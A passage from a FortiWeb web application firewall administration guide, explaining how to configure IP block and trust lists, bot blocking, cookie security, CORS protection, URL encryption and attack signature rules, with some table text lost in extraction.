United States Minor Outlying Islands, and regions that are not associated with any country, such as Antarctica.
10. Click OK.
The web UI returns to the initial dialog. The countries that you are blocking will appear as individual entries.
11. Click OK.
12. To apply your geographical blocking rule, select it in a protection profile that a server policy is using. For details, see
Configuring a protection profile for inline topologies on page 223 or Configuring a protection profile for an out-of-
band topology or asynchronous mode of operation on page 233.
See also
l Blacklisting & whitelisting clients using a source IP or source IP range on page 447
Blacklisting & whitelisting clients using a source IP or source IP range
You can define which source IP addresses are trusted clients, undetermined, or distrusted.

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l Trusted IPs—Almost always allowed to access to your protected web servers. Trusted IPs are exempt from many
(but not all) of the restrictions that would otherwise be applied by a server policy. For a list of skipped scans, see
l Blacklisted IPs—Blocked and prevented from accessing your protected web servers. Requests from blacklisted IP
addresses receive a warning message as the HTTP response. The warning message page includes ID: 70007,
which is the ID of all attack log messages about requests from blacklisted IPs.
If a source IP address is neither explicitly blacklisted nor trusted by an IP list policy, the client can access your web
servers, unless it is blocked by any of your other configured, subsequent web protection scan techniques. For details,
see Sequence of scans on page 25.
Because trusted and blacklisted IP policies are evaluated before many other techniques, defining these IP addresses
can be used to improve performance. For details, see Sequence of scans on page 25.
Because many businesses, universities, and even now home networks use NAT, a packet’s source IP address may not
necessarily match that of the client. Keep in mind that if you black list or white list an individual source IP, it may
therefore inadvertently affect other clients that share the same IP.
To configure policies for individual source IPs
1. If you want to use a trigger to create a log message and/or alert email when a blacklisted client attempts to connect
to your web servers, configure the trigger first. See Viewing log messages on page 718.
2. Go to IP Protection > IP List.
63 characters.
5. Click OK.
Type Select either:

l Block IP—The source IP address that is distrusted, and is permanently
blocked (blacklisted) from accessing your web servers, even if it would
normally pass all other scans.
Note: If multiple clients share the same source IP address, such as when
a group of clients is behind a firewall or router performing network
address translation (NAT), blacklisting the source IP address could block
innocent clients that share the same source IP address with an offending
client.
l Trust IP—The source IP address is trusted and allowed to access your
web servers, unless it fails a previous scan. For details, see Sequence of
scans on page 25.
By default, if the IP address of a request is neither in the Block IP nor Trust IP
list, FortiWeb will pass this request to other scans to decide whether it is
allowed to access your web servers. However, you can define the Allow Only
IP addresses so that such requests can be screened against the Allow Only
IPs before they are passed to other scans.
l Allow Only—If the source IP address is in the Allow Only range, it will

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be passed to other scans to decide whether it's allowed to access your

web servers. If not, FortiWeb will take actions according to the trigger
policy.
If the Allow Only range is empty, then the source IP addresses which are
not in the Block IP and Trust IP list will be passed directly to other scans.
Requests that are blocked according to the IP Lists will receive a warning
message as the HTTP response. The warning message page includes ID:
70007, which is the ID of all attack log messages about requests from blocked
IPs.
IPv4/IPv6 / IP Range Type the client’s source IP address.

You can enter either a single IP address or a range of addresses (e.g.,
172.22.14.1-172.22.14.256 or 10:200::10:1-
10:200:10:100).
level the FortiWeb appliance will use when a blacklisted IP address attempts
to connect to your web servers:
l Informative
l Low
l Medium
l High
Trigger Policy Select which trigger, if any, that the FortiWeb appliance will use when it logs
and/or sends an alert email about a blacklisted IP address’s attempt to
connect to your web servers. For details, see Viewing log messages on page
718.
8. Click OK.
9. Repeat the previous steps for each individual IP list member that you want to add to the IP list.
10. To apply the IP list, select it in an inline or Offline Protection profile. For details, see Configuring a protection profile
for inline topologies on page 223 or Configuring a protection profile for an out-of-band topology or asynchronous
mode of operation on page 233.
Attack log messages contain Blacklisted IP blocked when this feature detects a blacklisted source IP
address.
See also
l Blacklisting & whitelisting countries & regions on page 445

l Monitoring currently blocked IPs on page 742
Blacklisting known bots
You can use FortiWeb features to control access by known bots such as:
l malicious bots such as DoS, Spam,and Crawler, etc.
l known good bots such as known search engines.

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FortiWeb keeps up-to-date the predefined signatures for malicious robots and source IPs if you have subscribed to
FortiGuard Security Service.
To block typically malicious bots, go to Bot Mitigation > Known Bots to configure Malicious Bots.
To control which search engine crawlers are allowed to access your sites, go to Bot Mitigation > Known Bots to
configure Known Search Engines.
See also
Protecting against cookie poisoning and other cookie-based

attacks
A cookie security policy allows you to configure FortiWeb features that prevent cookie-based attacks and apply them in a
protection profile. For example, a policy can enable cookie poisoning detection, encrypt the cookies issued by a back-
end server, and add security attributes to cookies.
When you first introduce some of the cookie security features, cookies that client
browsers have cached earlier can generate false positives. To avoid this problem,
use the Allow Suspicious Cookies setting to either take no action against
violations of the cookie security features or delay taking action until a specific date.
To configure cookie security
1. Go to Web Protection > Cookie Security.

Name Enter a name that identifies the policy when you select it in a
protection profile.
Security Mode l None—FortiWeb does not apply cookie tampering protection or

encrypt cookie values.
l Signed—Prevents tampering (cookie poisoning) by tracking the
cookie value. This option requires you to configure Client
Management in Policy.
When FortiWeb receives the first HTTP or HTTPS request from a

client, it uses a cookie to track the session. When you select this
option, the session-tracking cookie includes a hash value that
FortiWeb uses to detect tampering with the cookie from the back-
end server response. If FortiWeb determines the cookie from the
client has changed, it takes the specified action.
l Encrypted—Encrypts cookie values the back-end web server

sends to clients. Clients see only encrypted cookies. FortiWeb

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decrypts cookies submitted by clients before it sends them to the

back-end server. No back-end server configuration changes are
required.
Cookie Replay Optionally, select whether FortiWeb uses the IP address of a request
to determine the owner of the cookie.
Note: This is available only when Security Mode is configured as
Encrypted.
To disable this feature, do not select an option. By default, no option

is selected.
Because the public IP of a client is not static in many environments,

Fortinet recommends that you do not enable Cookie Replay.
In some environments (for example, if FortiWeb is deployed behind a

NAT load balancer), an X-header configuration is required to provide
the original client’s IP. For details, see Defining your proxies, clients,
& X-headers on page 193.
Allow Suspicious Select whether FortiWeb allows requests that contain cookies that it
Cookies does not recognize or that are missing cookies.
l When Security Mode is Encrypted, suspicious cookies are
cookies for which FortiWeb does not have a corresponding
encrypted cookie value.
l When Cookie Replay is IP, the suspicious cookie is a missing
cookie that tracks the client IP address.
In many cases, when you first introduce the cookie security features,
cookies that client browsers have cached earlier generate false
positives. To avoid this problem, either select Never, or select
Custom and enter an appropriate date on which to start taking the
specified action against suspicious cookies.
l Never—FortiWeb does not take the action specified by Action
against suspicious cookies.
l Always—FortiWeb always takes the specified action against
suspicious cookies.
l Custom—FortiWeb takes the specified action against
suspicious cookies starting on the date specified by Don't Block
Until.
This feature is not available if Security Mode is None.
Don't Block If Allow Suspicious Cookies is Custom, enter the date on which
Until FortiWeb starts to take the specified action against suspicious
cookies.
Cookie Security
Attributes
Cookie Max Age Enter the maximum age (in minutes) permitted for cookies that do not
have an “Expires” or “Max-Age” attribute.

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To configure no expiry age for cookies, enter 0.
Secure Cookie Enable to add the secure flag to cookies, which forces browsers to
return the cookie only when the request is for an HTTPS page.
HTTP Only Enable to add the "HTTP Only" flag to cookies, which prevents client-
side scripts from accessing the cookie.
Warning: enabling this feature may break web applications that use
cookies.
Action For cookie security features that trigger an action, select the action
that FortiWeb takes:
l Alert—Accept the request and generate an alert email, log
message, or both.
l Alert & Deny—Block the request and generate an alert, log
message, or both.
l Remove Cookie—Accept the request, but remove the cookie
from the datagram before it reaches the web server, and
generate an alert message, log message, or both.
l Period Block—Block requests for the number of seconds
specified by Block Period on page 452. For details, see
using this option, you must also define an X-header that indicates the
original client’s IP. Failure to do so may cause FortiWeb to block all
connections when it detects a violation of this type. For details, see
Defining your proxies, clients, & X-headers on page 193.
Block Period When Action on page 452 is Period Block, the number of seconds
that FortiWeb blocks requests that have violated cookie security
features.
Severity Select the severity level FortiWeb uses when it logs a violation of a
cookie security feature:
l Informative
l Low
l Medium
l High
Trigger Policy Select the trigger policy FortiWeb uses when it logs a violation of a
cookie security feature.
3. Click OK.
4. If you want to specify cookies that are exempt from the cookie security policy, under the Cookie Exceptions Table,
click Create New and configure these settings:
Cookie Name Enter the name of the cookie, such as NID.

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Cookie Domain Optionally, enter the partial or complete domain name or IP address
as it appears in the cookie. For example:
www.example.com
.google.com
10.0.2.50
If clients sometimes access the back-end server via IP address
instead of DNS, create exemption items for both.
Cookie Path Optionally, enter the path as it appears in the cookie, such as / or
/blog/folder.
5. To apply the cookie security policy, select it in an inline protection profile. For details, see Configuring a protection
profile for inline topologies on page 223.
If Security Mode on page 450 is Signed, ensure that Configuring a protection profile for inline topologies on page
223 is enabled for the profile.
Cross-Origin Resource Sharing (CORS) protection
If you have enabled Cross-Origin Resource Sharing (CORS) for your application, the resources of your application can
be accessed by other applications using JavaScript within the browser. Use the CORS Protection feature on FortiWeb
so that only legitimate CORS requests from allowed web applications can reach your application.
There are three tabs on CORS protection page:
Allowed Origin: Configure a list of applications that are allowed to access your application.
CORS Protection Rule: Configure rules to restrict CORS access.
CORS policy: Combine CORS protection rules together into a policy. You can later reference the CORS Protection
Policy in an inline protection profile.
Configuring allowed origin
Configure the allowed origin to add a list of applications that are allowed to access your application.
1. Go to Web Protection > Access > CORS Protection.
2. Select Allowed Origin tab.
3. Click Create New to create an allowed origin list.
4. Enter a name for it.
5. Click OK.
6. Click Create New to add an application.
Protocol Select which type of protocols are allowed for the connections
between foreign applications and your application.

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Origin Value Enter the foreign application's domain name.

Wildcards are supported.
Please note that the Origin Value only matches with domains in the
same level, for example, *.com matches with a.com but not
a.b.com; while *.b.com matches with a.b.com.
Port Type the TCP port number for the CORS connections. The valid
range is from 0 to 65,535.
0 means the CORS requests can reach at any TCP port number.
Include Sub Domains Enable this option so that the Origin Value matches with domains
of its sub level. For example, if this option is enabled, *.com
matches with all domain names.
8. Click OK.
9. Repeat step 6-8 if you want to add more applications to the list.
Configuring CORS protection rule
Configure CORS Protection Rule to block CORS traffic or add restrictions for the CORS traffic.
2. Select the CORS Protection Rule tab.
Name Enter a name for the CORS protection rule.
Host Status Enable if you want this rule to protect a specific domain name or IP
address. Must also configure Host if this option is enabled.
Host Select the protected hostnames entry (either a web host name or IP
address). This rule will apply to the requests that have the selected
hostname in the host: field.
Type Indicate whether URL Pattern is a Simple String (that is, a literal
URL) or a Regular Expression
URL Pattern Depending on your selection in Type, enter either:

l The literal URL, such as /folder1/index.htm that the
HTTP request must contain in order to match the rule, or use
wildcards to match multiple URLs, such as /folder1/* or
/folder1/*/index.htm. The URL must begin with a
slash ( / ).
l A regular expression, such as ^/*.php. This pattern does not
require beginning with a slash ( / ); however, it must match
URLs that begin with a slash.
Do not include the domain name, such as www.example.com,
which is configured separately in the Host drop-down list.

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To create and test a regular expression, click the >> (test) icon.
This opens the Regular Expression Validator window where you
can fine-tune the expression. For details, see Regular expression
syntax on page 880.
Block CORS Traffic Enable this option to block all the CORS traffic to the above
specified host and/or URL.
Disable this option to allow CORS traffic, in the meantime
configure the settings below to add restrictions for the CORS traffic.
Allowed Origins Select the allowed origins list so that only the CORS traffic from the
specified applications are allowed.
With an Allowed Origins list selected, FortiWeb will compare the
foreign application's domain name against the list. If it matches,
FortiWeb allows the CORS request and adds Access-Control-
Allow-Origin: <the foreign application's
domain name> in the response package.
If you leave the Allowed Origins unselected, the back-end
application server, instead of FortiWeb, determines whether to
allow CORS request from the foreign application and sets a value
for Access-Control-Allow-Origin in the response
package. If the CORS rule configured on the back-end server is to
allow CORS requests from all applications, the value for Access-
Control-Allow-Origin will be *. This will have an influence
on the Allowed Credentials option below.
If you have not yet configured an allowed origins list, see
Configuring allowed origin on page 453
Allowed Credentials Specify whether CORS requests from foreign applications can
include user credentials.
l None: Allow CORS requests with or without user credentials.
l TRUE: Allow only CORS requests with user credentials.
The CORS specification requires a specific value for Access-
Control-Allow-Origin in the response package if the
Access-Control-Allow-Credentials is true.
If you leave the Allowed Origins unselected, please be
careful to select TRUE for Allowed Credentials unless you
are sure the back-end server will not set * for Access-
Control-Allow-Origin in the response package.
l FALSE: Allow only CORS requests without user credentials.
Allowed Maximum Age The maximum time period before the result of a preflight request
expires. The valid range is from 0 to 86,400. 0 means using the
Allowed Maximum Age configured in the back-end server.
For example, if the Allowed Maximum Age is set to 3,600 seconds,
and the initial preflight request is allowed, then the subsequent
CORS requests in the next 3,600 seconds can be sent directly
without a precedent preflight request.
This applies only to the CORS preflighted requests, not the simple
requests.

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Allowed Methods With this option enabled, you can later add an Allowed Method list
so that FortiWeb can check against the list to verify whether the
allow methods used in the CORS requests are legitimate.
Allowed Headers With this option enabled, you can later add an Allowed Headers list
so that FortiWeb can check against the list to verify whether the
headers used in the CORS requests are legitimate.
Exposed Headers With this option enabled, you can later add an Exposed Headers list
to allow FortiWeb to expose the specified headers in JavaScript and
share with foreign applications.
5. Click OK.
6. The Allowed Method Type, Allowed Header Name, and Exposed Header Name tables appear. Click Create
New to add entries in these tables.
If the CORS protection policy is applied together with an Allow Method policy (Web Protection > Access > Allow Method)
in a web protection profile, please make sure the following:
l Enable the OPTIONS method in the Allow Method policy, otherwise the preflighted CORS requests will be
blocked.
l The methods in Allowed Method Type table should be a subset of the selected methods in the Allow Method
Policy (Web Protection > Access > Allow Method).
Configuring CORS protection policy
Include one or more CORS protection rules in a CORS protection policy so that they can take effect as a whole.
2. Select the CORS Protection Policy tab.
4. Enter a name for this policy.
5. Click OK.
7. Select the CORS protection rule that you would like to include in this policy.
8. Click OK.
9. Repeat step 6-8 if you want to add more rules in this policy.
To apply the CORS protection policy, select it as the CORS Protection on page 226 in a protection profile. For
details, see Configuring a protection profile for inline topologies on page 223 .
Attack log messages contain CORS Protection Violation when this feature detects an unauthorized
access attempt.

Access control 457
URL encryption
To prevent users from forceful browsing, you can now encrypt the URLs, which can ensure that the internal directory
structure of the web application is not revealed to users.
You can configure multiple URL encryption rules for a service, and add the rule to the URL encryption policy.
To configure a URL encryption rule
1. Go to Web Protection > Advanced Protection > URL Encryption.

2. Click URL Encryption Rule.

configuration. You will use the name to select the rule in a URL
encryption policy.
Host status Enable to apply this rule only to HTTP requests for specific web hosts.
If enabled, also configure Host on page 457.
Host Select the name of a protected host that the Host: field of an
HTTP request must be in to match the URL encryption rule.
This option is available only if Host status on page 457 is enabled.
Allow Unencrypted When enabled, unencrypted URL requests will be allowed.

Unencrypted URL requests are the valid requests from the client that
FortiWeb failed to decrypt.
When disabled, if the URL can match the rule, and FortiWeb detects
unencrypted URLs, the action will be triggered.
the rule:
log message.
l Alert & Deny—Block the request and generate an alert email
and/or log message.
668.
l Deny (no log)—Block the request.
The default value is Alert. See also Reducing false positives on page
802.
Note: Logging will occur only if enabled and configured. For details,
see Logging on page 698 and Alert email on page 724.

Access control 458
Block Period Enter the amount of time (in seconds) that you want to block
subsequent requests from a client after FortiWeb detects a rule
violation. This setting is available only when Action on page 457 is set
to Period Block.
The valid range is 1–3,600 seconds (1 hour).
For details about tracking blocked clients, see Monitoring currently
blocked IPs on page 742.
Severity When FortiWeb records rule violations in the attack log, each log
message contains a Severity Level field. Select the severity level
that FortiWeb will record when the rule is vioated:
l Low
l Medium
l High
l Informative
Trigger Policy Select the trigger, if any, that FortiWeb carries out when it logs and/or
sends an alert email about a rule violation. For details, see Viewing
log messages on page 718.
5. Click OK.
6. Click Create New in URL List Table to add the request URLs.
Type Select whether the Request URL on page 458 field must contain
either:
l Simple String—The field is a string that the request URL must
match exactly.
l Regular Expression—The field is a regular expression that
defines a set of matching URLs.
Request URL Depending on your selection in Type on page 458, enter either:

l Simple String—The literal URL, such as /index.php, that the
HTTP request must contain in order to match the input rule. The
URL must begin with a backslash ( / ).
l Regular Expression—A regular expression, such as ^/*.php,
matching the URLs to which the rule should apply. The pattern
does not require a slash ( / ), but it must match URLs that begin
with a slash, such as /index.cfm.
which is configured separately in Host on page 457.
To test a regular expression, click the >> (test) icon. This icon opens
the Regular Expression Validator window from which you can fine-
tune the expression. For details, see Regular expression syntax on
page 880 and Cookbook regular expressions on page 886.
8. Click OK.
You can add multiple URLs in the table.
9. Click Create New in Exception List Table to exclude any URL patterns from URL encryption validation.

Access control 459
either:
match exactly.

HTTP request must contain in order to match the input rule. The
11. Click OK.
To configure a URL encryption policy
To avoid errors such as URL replacement, you can configure to disable

full mode from CLI to not to encrypt some complex files such as Script
Events, Embedded non-HTML content - scripts, js files, and Embedded
non-HTML content - stylesheets on the page that match the URL
encryption rule.
1. Go to Web Protection > Advanced Protection > URL Encryption.

2. Click URL Encryption Policy.
4. For Name, enter a name for the URL encryption policy that can be referenced in Web Protection Policy.
5. Click OK.
7. Select the URL encryption rule created from the drop down list.
8. Click OK.
To configure a URL encryption policy in a web protection profile
1. Go to Policy > Web Protection Profile.

2. Select the Inline Protection Profile tab.

Access control 460
3. Select an existing web protection profile to which you want to include the URL encryption policy.
4. Click Edit.
5. For Advanced Protection > URL Encryption Policy, select the URL encryption policy from the drop down list.
To view details about a selected URL encryption policy, click the view icon next to the drop down list.
6. Click OK.

Blocking known attacks & data leaks
Many attacks and data leaks can be detected by FortiWeb using signatures. Enable signatures to defend against many
attacks in the OWASP Top 10, including many more:
l Cross-site scripting (XSS)
l SQL injection and many other code injection styles
l Remote file inclusion (RFI)
l Local file inclusion (LFI)
l OS commands
l Trojans/viruses
l Exploits
l Sensitive server information disclosure
l Personally identifiable information leaks
To defend against known attacks, FortiWeb scans:
l Parameters in the URL of HTTP GET requests
l Parameters in the body of HTTP POST requests
l XML in the body of HTTP POST requests (if Enable XML Protocol Detection is enabled. See To configure an inline
protection profile on page 223.)
l Cookies
l Headers
l JSON Protocol Detection
l Uploaded filename(MULTIPART_FORM_DATA_FILENAME)
In addition to scanning standard requests, FortiWeb can also scan XML And Action Message Format 3.0 (AMF3)
serialized binary inputs used by Adobe Flash clients to communicate with server-side software. For details, see Enable
AMF3 Protocol Detection on page 226 and Configuring a protection profile for inline topologies on page 223 (for inline
protection profiles) or Configuring a protection profile for an out-of-band topology or asynchronous mode of operation on
page 233 (for Offline Protection profiles).
Updating signatures
Known attack signatures can be updated. For information on uploading a new set of attack definitions, see Uploading
signature & geography-to-IP updates on page 478 and Connecting to FortiGuard services on page 469. You can also
create your own; for details, see Defining custom data leak & attack signatures on page 499.
Signature configuration
You can configure each server protection rule with an action, severity, and notification settings (“trigger”) that determine
how FortiWeb handles each violation.
For example, attacks categorized as cross-site scripting and SQL injection could have the action set to alert_
deny, the severity set to High, and a trigger set to deliver an alert email each time FortiWeb detects these rule
violations. However, you can disable specific signatures in those categories, set them to log/alert instead, or exempt
requests to specific host names/URLs.

Using the wizard to create a signature policy
Optionally, use the signature wizard to create a policy. In policies generated by the wizard, any signatures that are not
relevant to your environment are disabled; this improves performance and reduces the number of false positives. If
necessary, you can perform additional configurations for the set of signatures the wizard generates.
1. Go to Web Protection > Known Attacks > Signatures and select the Signature Wizard tab.
2. The wizard prompts you to configure the following settings according to your environment:
lDatabase
lWeb Server
l Web Application
l Script Language
3. Name the signature policy. You will use the name to refer to the policy in other parts of the configuration. The
4. Click Create.
To configure a signature rule
1. Before you create a signature rule, create custom signatures, if any, that you will add to the rule. For details, see
Defining custom data leak & attack signatures on page 499.
2. If you require protection for Oracle padding attacks, configure a rule for it. For details, see Defeating cipher padding
attacks on individually encrypted inputs on page 508.
3. Go to Web Protection > Known Attacks > Signatures.
l To restrict the signature categories to ones that are relevant to the specific databases and web servers in your
environment, click Signature Wizard. Then, follow the prompts to generate a custom signature policy. In the
list of policies, to view and further configure the custom policy, double-click the name you specified .
l To configure a signature rule using all available signatures, click Create New.
Configure these settings for signatures in policies:
Custom Signature Group Select a custom signature group to use, if any. For details, see False Positive
Mitigation for SQL Injection signatures on page 481.
Attack log messages contain Custom Signature Detection and the
name of the individual signature when this feature detects an attack.
To view and/or edit the custom signature set, click the Detail link. The Edit
Custom Signature Group dialog appears.
Status Click to enable or disable the signature rule for this policy.

False Positive Mitigation For signatures that FortiWeb uses to scan for SQL injection attacks, click to
enable or disable additional SQL syntax validation. When this option is
enabled and the validation is successful, FortiWeb takes the specified action.
If it fails, FortiWeb takes no action. For details, seeFalse Positive Mitigation
for SQL Injection signatures on page 481.
Attack log messages generated by signatures that support this feature have a
False Positive Mitigation field. The value indicates whether FortiWeb
identified the attack using the signature and additional SQL syntax validation
("Yes") or the just the signature ("No").
Alternatively, you can use the following methods to disable this feature:
l Create an exception that disables the feature for an individual signature
(not all SQL injection signatures support the feature). For details, see
Configuring action overrides or exceptions to data leak & attack detection
signatures on page 493.
l In the attack log, click the link in the Message field (found in the message
details) to display a menu. This menu includes an option that disables
False Positive Mitigation.
Action In each row, select the action that FortiWeb takes when it detects a violation
(column) of the rule. Supported options vary (available options are listed in the
description for each specific rule), but may include:
message.
Note: If FortiWeb is deployed behind a NAT load balancer, when using
this option, you must also define an X-header that indicates the original
client’s IP. Failure to do so may cause FortiWeb to block all connections
when it detects a violation of this type. For details, see Defining your
proxies, clients, & X-headers on page 193.
l Redirect—Redirect the request to the URL that you specify in the
protection profile and generate an alert email and/or log message. Also
configure Redirect URL on page 228 and Redirect URL With Reason on
page 228.
l Send HTTP Response—Block and reply to the client with an HTTP

error message and generate an alert email and/or log message.
You can customize the attack block page and HTTP error code that

FortiWeb returns to the client. For details, see Customizing error and
l Alert & Erase—Hide sensitive information in replies from the web server
(sometimes called “cloaking”). Block the request or remove the sensitive
information, and generate an alert email and/or log message.
Caution: This option is not fully supported in Offline Protection mode.

Only an alert and/or log message can be generated; sensitive information
cannot be blocked or erased.
l Erase, no Alert—Hide sensitive information in replies from the web

server (sometimes called “cloaking”). Block the request or remove the
sensitive information, but do not generate an alert email and/or log
message.
The default value is Alert. See also Reducing false positives on page 802.
Block Period In each row, type the number of seconds that you want to block subsequent
(column) requests from the client after the FortiWeb appliance detects that the client
has violated the rule.
This setting is available only if the Action on page 463 is set to Period Block.
(column) contains a Severity Level (severity_level) field. In each row, select
which severity level the FortiWeb appliance will use when it logs a violation of
the rule:
l Informative
l Low
l Medium
l High
Trigger Action In each row, select which trigger, if any, that the FortiWeb appliance will use
(column) when it logs and/or sends an alert email about a violation of each rule. For
Cross Site Scripting Enable to prevent a variety of cross-site scripting (XSS) attacks, such as some
varieties of CSRF (cross-site request forgery).
All of this attack’s signatures are automatically enabled when you enable
detection. To disable a specific signature, click the blue arrow to expand the
list, then clear that signature’s check box.

Attack log messages contain Cross Site Scripting and the subtype
and signature ID (for example, Cross Site Scripting : Signature
ID 010000063) when this feature detects a possible attack.
In the Action on page 463 column, select what FortiWeb does when it detects
this type of attack.
Cross Site Scripting Enable to prevent a variety of XSS attacks.

(Extended) Unlike Cross Site Scripting on page 464, the extended signatures are more
likely to cause false positives. However, they may be necessary in specific,
high-security data centers. If one of the signatures is causing false positives
and you need to instead configure a custom attack signature that will not
cause false positives, you can individually disable that signature.
SQL Injection Enable to prevent SQL injection attacks, such as blind SQL injection.
Attack log messages contain SQL Injection and the subtype and
signature ID (for example, SQL Injection : Signature ID
030000010) when this feature detects a possible attack.
Also configure False Positive Mitigation on page 463.
In the Action on page 463 column, select what FortiWeb does when it detects
this type of attack.
SQL Injection (Extended) Enable to prevent a variety of SQL injection attacks.

Unlike SQL Injection on page 465, the extended signatures are more likely to
cause false positives. However, they may be necessary in specific, high-
security data centers. If one of the signatures is causing false positives and
you need to instead configure a custom attack signature that will not cause
false positives, you can individually disable that signature.
Generic Attacks Enable to prevent other common exploits, including a variety of injection
threats that do not use SQL, such as local file inclusion (LFI) and remote file
inclusion (RFI).
Attack log messages contain Generic Attacks and the subtype and
signature ID (for example, Generic Attacks-Command Injection :
Signature ID 050050030) when this feature detects a possible attack.
In the Action column, select what FortiWeb will do when it detects this type of
attack.
Generic Attacks (Extended) Enable to prevent a variety of exploits and attacks.

Unlike Generic Attacks on page 465, the extended signatures are more likely
to cause false positives. However, they may be necessary in specific, high-
security data centers. If one of the signatures is causing false positives and
you need to instead configure a custom attack signature that will not cause
false positives, you can individually disable that signature.

Trojans Enable to prevent malware attacks and prevent accessing Webshell located
on server.
Attack log messages contain Trojans and the subtype and signature (for
example, Trojans: Signature ID 070000001) when this feature detects
malware or Webshell.
Attackers may attempt to upload Trojan horse code (written in scripting
languages such as PHP and ASP) to the back-end web servers. The Trojan
then infects clients who access an infected web page.
Information Disclosure Enable to detect server error messages and other sensitive messages in the
HTTP headers, such as CF Information Leakage (Adobe ColdFusion server
information).
detection. However, if one of the signatures is causing false positives and you
need to instead configure a custom attack signature that will not cause false
positives, you can individually disable that signature. To disable a specific
signature, click the blue arrow to expand the list, then clear that signature’s
check box.
Error messages, HTTP headers such as Server: Microsoft-IIS/6.0,
and other messages could inform attackers of the vendor, product, and
version numbers of software running on your web servers, thereby advertising
their specific vulnerabilities.
Sensitive information is detected according to fixed signatures.
Attack log messages contain Information Disclosure and the subtype
and signature (for example, Information Disclosure-HTTP Header
Leakage : Signature ID 080200001) when this feature detects a
possible leak.
In the Action column, select what FortiWeb does when it detects this type of
attack:
l Alert
Note: Does not cloak, except for removing sensitive headers. (Sensitive
information in the body remains unaltered.)
l Alert & Erase—Hide replies with sensitive information (sometimes
called “cloaking”). Block the reply (or reset the connection) or remove the
sensitive information, and generate an alert email and/or log message.
If the sensitive information is a status code, you can customize the web
page that will be returned to the client with the HTTP status code.
Note: This option is not fully supported in Offline Protection mode.
Effects will be identical to Alert; sensitive information will not be blocked
or erased.
l Period Block
l Redirect

Tip: Some attackers use 4XX and 5XX HTTP response codes for website
reconnaissance when identifying potential targets: to determine whether a
page exists, has login failures, is Not Implemented, Service Unavailable, etc.
Normally, the FortiWeb appliance records attack logs for 4XX and 5XX
response codes, but HTTP response codes are also commonly innocent, and
too many HTTP response code detections may make it more difficult to notice
other information disclosure logs. To disable response code violations, disable
both the HTTP Return Code 4XX and HTTP Return Code 5XX options in
this rule’s area.
Tip: Because this feature can potentially require the FortiWeb appliance to
rewrite the header and body of every request from a server, it can decrease
performance. To minimize impact, Fortinet recommends enabling this feature
only to help you identify information disclosure through logging, and until you
can reconfigure the server to omit such sensitive information.
Personally Identifiable Enable to detect personally identifiable information in the response from the
Information server. Also configure Detection Threshold on page 467 below.
Credit card numbers being sent from the server to the client, especially on an
unencrypted connection, constitute a violation of PCI DSS. In most cases, the
client should only receive mostly-obscured versions of their credit card
number, if they require it to confirm which card was used. This prevents
bystanders from viewing the number, but also reduces the number of times
that the actual credit card number could be observed by network attackers.
For example, a web page might confirm a transaction by displaying a credit
card number as:
XXXX XXXX XXXX 1234
This mostly-obscured version protects personally identifiable information from
unnecessary exposure and disclosure. It would not trigger the detection
feature.
However, if a web application does not obscure displays of credit card
numbers or other personally identifiable information, or if an attacker has
found a way to bypass the application’s protection mechanisms and gain a list
of customers’ information, a web page might contain a list with many credit
card numbers and other information in clear text. Such a web page would be
considered a data leak, and trigger personally identifiable information
disclosure detection.
In the Action column, select what FortiWeb does when it detects this type of
attack.
Detection Threshold Enter a threshold if the web page must contain a number of instances of
personally identifiable information that equals or exceeds the threshold in
order to trigger the detection feature.
For example, to ignore web pages with only one instance of personally
identifiable information, but to detect when a web page containing two or
more instances, enter 2.
5. Click OK.

6. If you enabled Information Disclosure on page 466 or Personally Identifiable Information on page 467, configure a
decompression rule. For details, see Compression on page 648.
Failure to configure a decompression rule, or, for HTTPS requests, to provide the
server’s x.509 certificate in either Certificate on page 247 or Certificate File on
page 175 will result in FortiWeb being unable to scan requests. This effectively
disables those features.
7. To apply the signature rule, select it in an inline protection profile or an Offline Protection profile. For details, see
8. To verify your configuration, attempt a request that should be detected and/or blocked by your configuration.
Instead of actually executing the exploit or uploading a virus, attempt a harmless

script with similar syntax, or upload an EICAR (http://www.eicar.org/85-0-
Download.html) file. Alternatively, test your configuration in a non-production
environment.
If detection fails:
l Verify that routing and TCP/IP-layer firewalling does not prevent connectivity.
l Verify that your simulated attack operates on either the HTTP header or HTTP body, whichever component is
analyzed by that feature.
l If the feature operates on the HTTP body, verify that http-cachesize is large enough, or that you have
configured to Body Length block requests that exceed the buffer limit. For details, see FortiWeb CLI
Reference.
l If the HTTP body is compressed, verify that Maximum Antivirus Buffer Size on page 473 is large enough, or
that you have configured to Body Length block requests that exceed the buffer limit.
l If you enabled Trojans, verify that you have also configured its configuration dependencies. For details, see
Limiting file uploads on page 597.
l If the feature operates on the parameters in the URL line in the HTTP headers, verify that the total parameter
length. After URL decoding, if required, configure Recursive URL Decoding on page 678 is not larger than the
buffer size of Total URL Parameters Length on page 533 or Total URL Parameters Length on page 533.
9. If normal input for some URLs accidentally matches a signature, either create and use a modified version of it
instead via custom signatures, or create exceptions. For details, see Configuring action overrides or exceptions to
data leak & attack detection signatures on page 493.
See also
l Filtering signatures on page 499

l Configuring action overrides or exceptions to data leak & attack detection signatures on page 493
l Preventing zero-day attacks on page 519
l Limiting file uploads on page 597

Connecting to FortiGuard services
Most exploits and virus exposures occur within the first 2 months of a known vulnerability. Most botnets consist of
thousands of zombie computers whose IP addresses are continuously changing. Everyday, spilled account credentials
are used to launch credential stuffing attacks. To keep your defenses effective against the evolving threat landscape,
Fortinet recommends FortiGuard services. New vulnerabilities, botnets, and stolen account credentials are discovered
and new signatures are built by Fortinet researchers every day.
Without connecting to FortiGuard, your FortiWeb cannot detect the latest threats.
After you have subscribed to FortiGuard services (see Appendix E: How to purchase and renew FortiGuard licenses on
page 890), configure your FortiWeb appliance to connect to the Internet so that it can reach the world-wide
Fortinet Distribution Network (FDN) in order to:
l verify its FortiGuard service licenses
l download up-to-date signatures, IP lists, stolen account credentials, and engine packages
FortiWeb appliances can often connect using the default settings. However, due to potential differences in
routing and firewalls, you should confirm this by verifying connectivity.
You must first register the FortiWeb appliance with Fortinet Customer Service &
Support (https://support.fortinet.com/) to receive service from the FDN. The
FortiWeb appliance must also have a valid Fortinet Technical Support contract that
includes service subscriptions and be able to connect to the FDN. For port numbers
to use to validate the license and update connections, see Appendix A: Port
numbers on page 862.
To determine your FortiGuard license status
1. If your FortiWeb appliance must connect to the Internet through an explicit (non-transparent) web proxy, configure
the proxy connection (see Accessing FortiGuard via a proxy on page 473).
The appliance will attempt to validate its license when it boots. If the appliance could not connect because proxy
settings were not configured, or due to any other connectivity issue that you have since resolved, you can reboot
the appliance to re-attempt license validation.
If FortiWeb is deployed in a closed network, you can also use FortiManager as a proxy and connect FortiWeb with it
